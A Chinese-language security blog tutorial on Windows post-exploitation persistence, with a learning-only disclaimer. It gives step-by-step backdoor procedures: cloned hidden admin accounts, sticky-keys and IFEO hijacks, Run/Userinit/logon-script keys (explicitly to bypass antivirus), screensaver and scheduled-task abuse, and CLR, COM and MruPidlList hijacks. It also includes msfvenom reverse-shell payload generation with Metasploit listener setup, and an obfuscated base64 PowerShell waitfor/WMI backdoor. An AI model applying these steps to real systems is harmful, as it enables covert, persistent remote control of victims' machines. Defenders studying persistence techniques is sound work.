作者: h0we777
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x00 简介

​ 当我们拿到域中最高权限之后,就需要将自己的权限进行巩固,进行权限持久化操作。

0x01 隐藏账户

1.1 测试系统

win 7

1.2 新建特殊账户

  • 在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限
net user whoami$ howe7 /add
net localgroup administrators whoami$ /add

​ 注:创建的用户名必须以$符号结尾。

​ 添加后,该账户可在一定条件下隐藏,输入net user 无法获取信息,但是,在登录界面以及本地和组中却能够发现该账户。

1.3 赋予注册表权限

​ 屏幕左下角开始 -> 点击运行,输入regedit打开注册表,打开HKEY_LOCAL_MACHINE -> SAM

-> SAM,一般情况下,sam里就有一个默认内容。在这个文件夹里右键 -> 权限 -> 组或用户名那里选择Administrators,允许完全控制。

​ 然后重启注册表,运行 -> regedit

1.4 导出注册表

​ 在SAM -> Domains -> User -> Names处,找到Administrator用户,在右边有一个默认的文件,类型为0x1f4。这个类型的1f4Administrator用户SID的结尾,即RID(在这里使用十六进制表示)。在Users文件夹里找到尾数是1f4的文件夹。

​ 点击000001F4文件夹,里面出现3个文件,我们需要复制F文件里的数值数据,如图:

​ 用相同的方式找到新建的whoami$用户类型0x3e8所对应的文件夹。

​ 现在将000001F4的F值粘贴到000003E8的F值中,点击确定:

​ 现在分别右键导出000003E8whoami$到桌面,导出文件分别为000003E8.regwhoami.reg

1.5 删除特殊账户

​ 现在将whoami$账户删除

net user whoami$ /del

​ 重启注册表,打开没有了。

1.6 导入reg文件

​ 将刚才导出的两个文件导入到注册表中:

​ 这样我们的隐藏账户whoami,这个账户的,只有在注册表中才能看得到。不管你是在命令提示符下输入netuser或者在系统用户管理界面都是看不到whoami。

1.7 删除隐藏用户

​ 使用普通的账户删除命令是无法删除隐藏账户的,提示用户不属于此组

​ 只能在注册表里删除。

1.8 防御隐藏用户

  • 打开注册表的 [HKEY_LOCAL_MACHINE] 项,检查该项下的 [SAM\SAM\Domains\Account\Users] 是否有可疑账户。
  • 默认管理员权限无法查看注册表,需要分配权限或是提升至system权限
  • 隐藏账户的登录记录,可通过查看日志获取

0x02 Shift 粘滞键后门

2.1 简介

​ 在windows下连接按五次shift键,屏幕会弹出"粘滞键"的程序。粘滞键是为了一些没办法连按快捷键(如:ctrl+c , ctrl+v)组合的人设计的。shift键的存储位置在c:\windows\system32\sethc.exe

2.2 测试系统

windows 10

2.3 过程

  • shift键的存储位置在c:\windows\system32\sethc.exe,进入此路径,把sethc.exe重命名为sethc.exe.txt

注:提示需要trustedinstaller权限,trustedinstaller是一个安全机制,即系统的最高权限,权限比administrator管理员高,windows权限分为三种从低到高依次是user、administrator、system。而trustedinstaller比administrator高但没有system高,这么做的好处是避免了一些恶意软件修改系统文件的可能,坏处就是主机不能直接操作,所以这里需要更改权限。把权限更改为当前用户。

  • 修改权限需要右键sethc, 属性 -> 安全 -> 高级 -> 更改

  • 点击更改 -> 高级 -> 立即查找 -> Administrators -> 确定

  • 确定后,所有者更改为Administrators后,点击确定,现在需要关闭后再打开(重启)“sethc.exe的高级安全设置”

  • 重启后,点击更改权限

  • 点击Administrators用户 -> 编辑

  • 点击完全控制 -> 确定

  • Administrators用户的访问权限已经更改,点击确定

  • 再次打开sethc权限,看见Administratos已经可以完全控制sethc了。

  • 现在先把sethc.exe更改为sethc.exe.txt。然后找到cmd.exe程序,就在c:\windows\system32\文件夹里复制cmd.exe并重命名为sethc.exe

  • 现在锁屏,直接按5下shift可以调出cmd了

2.4 小结

  • 完成粘滞键提权操作的必要步骤需要首先具有管理员权限。
  • 针对两种特殊情况很有用,分别是:有管理员权限但被限制在C盘;get到trustedinstaller权限,去提权到管理员权限。

0x03 映像劫持

3.1 简介

​ 简称"IFEO"(Image File Execution Options 其实应该称为"image Hijack"),是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。由于这个项主要是用来调试程序用的,对一般用户意义不大。默认是只有管理员和local system有权读写修改。

​ 简单来说就是当目标程序被映像劫持时,当我们启动目标程序时,启动对是劫持后的程序而不是原来的程序。

3.2 过程

  • 在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下添加一个sechc.exe项,然后在sethc.exe这个项添加debugger键,键值为恶意程序的路径。

​ 结果如下:

3.3 小结

​ 和shift后门差不多,只不过在低版本的windows中,可以简单的替换程序,但是在高版本的windows版本中替换的文件收到了系统的保护。

0x04 注册表自启动项

4.1 简介

​ MSF的persistence模块利用的就是写注册表自启动来实现的,一般自启动项是两个键:Run和RunOnce。这两者的区别如下:

  • Run:该项下的键值即为开机启动项,每一次随着开机而启动。
  • RunOnce:RunOnce和Run差不多,唯一的区别就是RunOnce的键值只作用一次,执行完毕后就会自动删除。

4.2 常见注册表启动项键位置

  • 注册表

  • 用户级
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • 系统级
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

4.3 过程

  • 进入入\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,在Run文件夹里右键新建字符串值(howe),右键字符串值(howe)点击修改,在数值数据里添加c:\windows\system32\cmd.exe

  • 现在重启或者注销账户,就会自动弹出cmd.exe框。

0x05 定时任务

5.1 简介

​ windows下定时任务的命令有两个,at和schtasks,他们两者的区别是:at命令在win7、8等高版本的windows中是不能将任务在前台执行的,也就是只会打开一个后天进程;schtasks是将定时的任务在前台执行。

5.2 at命令

  • 简介

​ at命令是windows自带的用于创建计划任务的命令,但是他主要工作在windows server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

​ 注:windows vista、windows server 2008及之后版本的操作系统废弃了at。

  • 参数
AT [\\computername] time [/INTERACTIVE][ /EVERY:date[,...] | /NEXT:date[,...]] "command"
  • 示例
at [电脑时间] [电脑程序]

5.3 schtasks命令

  • 简介

​ schtasks命令代替了at命令,比at命令更灵活、自由。

  • 参数
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?
  • 利用schtasks创建后门大致流程
首先,在目标主机上传metasploit生成的后门程序。
然后,在目标主机上创建一个计划任务。
  • 示例
schtasks /create /tn test /tr calc.exe /sc minute /mo 1

0x06 用户登录初始化

6.1 简介

​ userinit的作用是用户在进行登录初始化设置时,winlogon进程会执行指定的login scripts,所以我们可以修改它的键值来添加要执行的程序。

6.2 过程

  • 运行 -> regedit ,打开注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

  • 右键修改Userinit,在数值数据里添加一个启动程序c:\windows\system32\cmd.exe。注:多个程序用逗号隔开。

  • 重启或注销用户,进入桌面自动弹出cmd.exe程序

0x07 Logon Scripts

7.1 简介

​ Logon svripts优先于av先执行,我们可以利用这一点来绕过av的敏感操作拦截。

7.2 过程

  • 运行 -> regedit ,打开注册表路径:HKEY_CURRENT_USER\Environment

  • 在这里创建一个键为:UserInitMprLogonScript(这里只能使用这个键名)。其键值为要启动的程序路径c:\windows\system32\cmd.exe

  • 重启或注销账户,查看效果

0x08 屏幕保护程序

8.1 简介

​ 屏幕保护是windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周知,windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序使具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。

8.2 开启屏幕保护程序

  • 通过左下角的电脑搜索,搜索屏幕保护。点击"启用或关闭屏幕保护程序"

  • 开启屏幕保护程序,随便点击一个图形,点击应用 -> 确定

  • 打开注册表路径:HKEY_CURRENT_USER\Control Panel\Desktop,查看是否打开屏幕保护程序

8.3 过程

​ 在对方开启屏幕保护的情况下,我们可以修改屏保程序为恶意程序从而达到后门持久化的目的。其中屏幕保护的配置存储在注册表中,其位置为:HKEY_CURRENT_USER\Control Panel\Desktop,关键键如下:

- SCRNSAVE.EXE :默认屏幕保护程序,可以把这个键值改为恶意程序。
- ScreenSaveActive - 1 :表示屏幕保护是启动状态,0表示屏幕保护是关闭状态。
- ScreenSaverTimeoiut : 指定屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)
  • 复制粘贴一个SCRNSAVE.EXE程序,再把原SCRNSAVE.EXE程序重命名为SCRNSAVE.EXE.txt,修改SCRNSAVE.EXE程序的数值数据为C:\Windows\system32\calc.exe

  • 等屏幕保护时间到后自动探测calc.exe程序,查看效果

0x09 自启动服务

9.1 简介

​ 自启动服务一般是在电脑启动后在后台默认或者加载指定的服务程序,可以将exe应用程序注册为服务,也可以将dll文件注册为服务。

9.2 测试系统

攻击机:kali
靶机:win 7

9.3 过程

  • kali使用msf生成远控文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f exe -o /home/howe7/howe.exe
lhost:攻击者ip
lport:攻击者port

  • 把msf生成的exe文件扔给win7的c盘中

  • 在kali的msf中使用handler模块
use exploit/multi/handler

  • 设置攻击负载
set payload windows/x64/meterpreter/reverse_tcp

  • 设置本地监听ip和端口
set LHOST 192.168.69.12 (设置kali的IP,可以在kali的端口使用ifconfig查询)
set LPORT 4444
run

  • 使用以下命令将会在目标主机上以meterpreter的服务形式注册在服务列表中,并开机自动启动。
run metsvc -A  (自动安装后门)

  • 运行之后会在C:\Users\Howe-7\AppData\Local\Temp\目录下创建一个随机的文件夹jwbKSmLVtKj,然后在该文件夹里生成以下三个文件

0x10 waitfor

10.1 简介

​ 在系统上发送或等待信号。waitfor可用于跨网络同步计算机。不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe。

10.2 语法

waitfor [/s <Computer> [/u [<Domain>\]<User> [/p [<Password>]]]] /si <SignalName>
waitfor [/t <Timeout>] <SignalName>/s <Computer>  指定远程计算机的名称或IP地址,默认为本地计算机
/u [<Domain>]<user>    使用指定用户帐户的凭据运行脚本。默认是使用当前用户的凭据。
/p <Password>  指定/u参数中指定的用户帐户的密码。
/si            发送指定激活信号。
/t             指定等待信号的秒数。默认为无限期等待。
<SignalName>    指定等待或发送的信号,不区分大小写,长度不能超过225个字符

10.3 更多信息

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/waitfor

10.4 过程

  • 测试系统
windows 7
windows 2012
  • 先打开win7的运行 -> 输入cmd.exe ,在命令提示符里输入以下命令
waifor test && calc.exe

  • 然后在windows server 2012的命令提示符里输入以下命令
waitfor /s 192.168.xx.xx /u (win7用户名) /s (win7密码) /si test

  • 这样只能执行一次,可以使用以下脚本让它持久化
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() | Out-Null$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec | Out-Null

​ 该方法的优点就是能主动激活,但是缺点也明显:只能在同一网段才能接收和发送激活信息,服务器重启后就不行了。

0x11 CLR劫持

11.1 简介

​ CLR(公共语言运行库,Common Language Runtime)和Java虚拟机一样也是一个运行时环境,是一个可由多种编程语言使用的运行环境。CLR的核心功能包括:内存管理、程序集加载、安全性、异常处理和线程同步,可由面向CLR的所有语言使用。并保证应用和底层操作系统之间必要的分离。CLR是.NET Framework的主要执行引擎。需要注意的是CLR能够劫持系统中全部.net程序,而且系统默认会调用.net程序,从而导致我们的后门自动触发。

11.2 过程

  • 测试系统
攻击机:kali
靶机:win 7
  • 在win7的cmd.exe中创建用户环境变量命令
 SETX COR_ENABLE_PROFILING 1 SETX COR_PROFILER {AABBCCDD-1234-1234-1234-AABBCCDDEEFF}            #{AABBCCDD-1234-1234-1234-AABBCCDDEEFF} 为 CLSID

  • 修改注册表的路径为
HKEY_CURRENT_USER\Software\Classes\CLSID
  • 使用以下命令创建注册表,重启注册表编辑器
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{AABBCCDD-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /VE /T REG_SZ /D "C:\howe.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{AABBCCDD-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

  • 在kali中使用msfvenom生成dll payload
 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f dll > howe.dllLHOST = (攻击机的IP地址)LPORT = (攻击机的开启端口)

  • 在kali的文件夹里找到创建的howe.dll文件,把它放进win7系统的C盘里,再重启win7

  • 回到kali,使用metasploit设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set AutoRunScript migrate -f   (自动迁移进程)
set lhost 192.168.69.12
set lport 4444
options
run

0x12 COM劫持

12.1 简介

​ COM是Component Object Model(组件对象模型)的缩写,它是微软的一套软件组件的二进制接口标准。这使得跨编程语言的进程间通信、动态对象创建成为可能。COM是多项微软技术与框架的基础,包括OLE、OLE自动化、ActiveX、COM+、DCOM、Windows shell、DirectX、Windows Runtime。

​ COM劫持主要通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过Autoruns对启动项的检测。

12.2 原理

当进程寻找com组件时,首先会寻找:
HKCU\Software\Classes\CLSID
我们直接在CLSID下面新建一个对象ID,就能够劫持某个进程或多个进程
与dll劫持原理相近,但是com组件的劫持可以拓展很多东西,劫持的目标不一定是一个进程,劫持所需的文件不一定是一个dll,
他可以是一个 .com文件、二进制PE文件、Dll文件、劫持的目标也可以是一个Window API

12.3 读取顺序

HKEY_CURRENT_USER\Software\Classes\CLSID
HKEY_CLASSES_ROOT\CLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

12.4 过程

  • 测试环境
攻击机:kali
靶机:win 7
  • 在win7的cmd.exe中创建用户环境变量命令
 SETX COR_ENABLE_PROFILING 1 SETX COR_PROFILER {aaaabbbb-1111-2222-3333-777777777777}

  • 使用以下命令创建注册表,重启注册表编辑器
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{aaaabbbb-1111-2222-3333-777777777777}\InProcServer32" /VE /T REG_SZ /D "C:\777.exe" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{aaaabbbb-1111-2222-3333-777777777777}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

  • 在kali中使用msfvenom生成exe payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f exe > 777.exe

  • 在kali的文件夹里找到创建的howe.dll文件,把它放进win7系统的C盘

  • 使用以下命令来劫持
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.69.12
set lport 4444
options
set session 1
run
shell

0x13 MruPidlList 劫持

13.1 简介

​ 这是一种主动的后门触发方式,只要对方主机重启机器的操作,就会触发之前设置的dll。系统在启动时默认启动进程explorer.exe,如果劫持了COM对象MruPidList,就能劫持进程explorer.exe,实现后门随系统开机启动,相当于时主动后门。而劫持MruPidlList劫持注册表中的一个{42aedc87-2188-41fd-b9a3-0c966feabec1}CLSID,将其带键值换成恶意dll即可。

13.2 过程

  • 测试环境
攻击机:kali
靶机:win 7
  • 更改注册表劫持MruPidlList
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "c:\calc.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

  • 在kali中使用msfvenom生成dll payload
 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f dll > calc.dllLHOST = (攻击机的IP地址)LPORT = (攻击机的开启端口)

  • 在kali的文件夹里找到创建的calc.dll文件,把它放进win7系统的C盘

  • 通过以下命令来劫持
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.69.12
set lport 4444
options
run

  • 该注册表对应COM对象MruPidlList,作用于shell32.dll,而shell32.dll是windows的32位外壳动态链接库文件,用于打开网页和文件,建立文件时的默认文件名的设置等大量功能。其中explorer.exe会调用shell32.dll,然后会加载COM对象MruPidlList,从而触发dll文件。重启或结束explorer.exe后新开启一个explorer.exe,恶意dll被加载。

0x14 总结

​ windows操作系统的持久化后门还有很多,我只是学习了一小部分基础,如有不对的地方,请各位师傅指正!

0x15 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!

windows操作系统常见持久性后门相关推荐

  1. Windows操作系统常见故障

    盘点Windows操作系统常见故障解决方法 一.在Windows下经常出现蓝屏故障 出现此类故障的表现方式多样,有时在Windows启动时出现,有时在Windows下运行一些软件时出现,出现此类故障一 ...

  2. Windows操作系统常见驱动故障解决方法

    驱动程序是我们使用操作系统的一个基础,没有它,我们听不到声音,看不清图片,上不了网.如果驱动程序出了故障怎么办呢?我们很多时候选题重装驱动,但是有些故障可能你根本就不会想到是驱动程序引起的.下面我们就 ...

  3. Windows操作系统常见安全问题解决方法

    使用Windows的人非常多,而Windows系统的安全问题也越来越被人们关注.虽然Windows的漏洞众多,安全隐患也很多,不过经过适当的设置和调整,你还是可以用上相对安全的Windows的.本文就 ...

  4. windows中常见后门持久化方法总结

    前言 当我们通过各种方法拿到一个服务器的权限的时候,我们下一步要做的就是后渗透了,而后门持久化也是我们后渗透很重要的一部分,下面我来总结一下windows下常见的后门持久化的方法 后门持久化 我的操作 ...

  5. windows 操作系统里 git bash 和 git cmd 的区别

    我们在 Windows10 安装 git 客户端之后,注意到安装文件夹下有 git-bash.exe 和 git-cmd.exe 两个执行文件.有什么区别吗? 参考这个 StackOverflow 讨 ...

  6. 蓝队-Windows操作系统

    文章目录 web网站的整体架构 操作系统 windows操作系统→文件系统 文件扩展名和隐藏文件 打开方式 文件系统的安全设置 cmd 常见的cmd查看命令 echo使用 1.echo:显示信息 2. ...

  7. WINDOWS操作系统发展历程

    此文章根据百度百科以及网上搜集的资料整理编辑而成,百度百科原文请参考: http://baike.baidu.com/view/46646.html?tp=6_01 http://baike.baid ...

  8. Windows操作系统基础

    Windows操作系统基础 系统常用命令 用户组管理 添加一个永不过期的用户,并且设置登录口令 net user [userName] [password] /add /expires:never 删 ...

  9. windows操作系统基础总结

    文章目录 引言 一.文件目录管理 二.网络配置 三.用户和群组 四.进程 五.核心文件 六.日志审核 七.登录日志 八.恶意行为跟踪 九.日志分析工具 引言 对windows下常见的dos命令进行总结 ...

最新文章

  1. 历史为什么丑化隋朝_隋朝于中国历史,到底处于什么样的地位,为何它一直被低估...
  2. 无法访问本地ip_当金万维异速联无法访问金蝶软件怎么办?
  3. c++Data Member的绑定
  4. MongoDB中的分组
  5. P2633 Count on a tree
  6. jenkins jboss_与JBoss Fuse,Jenkins和Nexus的持续集成
  7. HDU 1231 最大连续子序列 (动态规划)
  8. 人形机器人正在美国史密森尼博物馆中担任导游的工作
  9. python示例_Python中的缩进示例
  10. hadoop之DataBlockScanner
  11. Android Activity界面切换添加动画特效 (转载修改)
  12. liunx 下压缩解压zip文件
  13. c语言解三元一次方程组_一次二次反比例,一山更比一山高?二次函数三大解析式详解...
  14. Ext.grid.EditorGridPanel使用方法
  15. java线程栅栏_java多线程 栅栏CyclicBarrier
  16. java oracle 增删改查_oracle:java直接操作oracle存储过程---增删改查
  17. 相机光学(一)——成像系统分辨率的理论
  18. google计费接入,Billing结算库支付
  19. css 排版_Web排版的未来:CSS字体4级
  20. 配置网站的快捷方式图标及收藏图标

热门文章

  1. 三极管类型及工作状态判断
  2. 【LTE基础知识】LTE UE Category LTE终端产品工作类型总结
  3. 转载:深入学习java源码之Callable.call()与Future.get()
  4. rabbitmq 简易RPC调用示例
  5. 云服务器核和g的区别,云服务器几核几g什么意思?
  6. ZigBee 3.0实战教程-Silicon Labs EFR32+EmberZnet-2-02:资源包详解
  7. scrum立会报告+燃尽图(第二周第六次)
  8. Python第三方库matplotlib(2D绘图库)入门与进阶
  9. a1sd测试软件准确,A1 SD Bench测试:手机端限制不少
  10. 你想要的宏基因组-微生物组知识全在这(1909)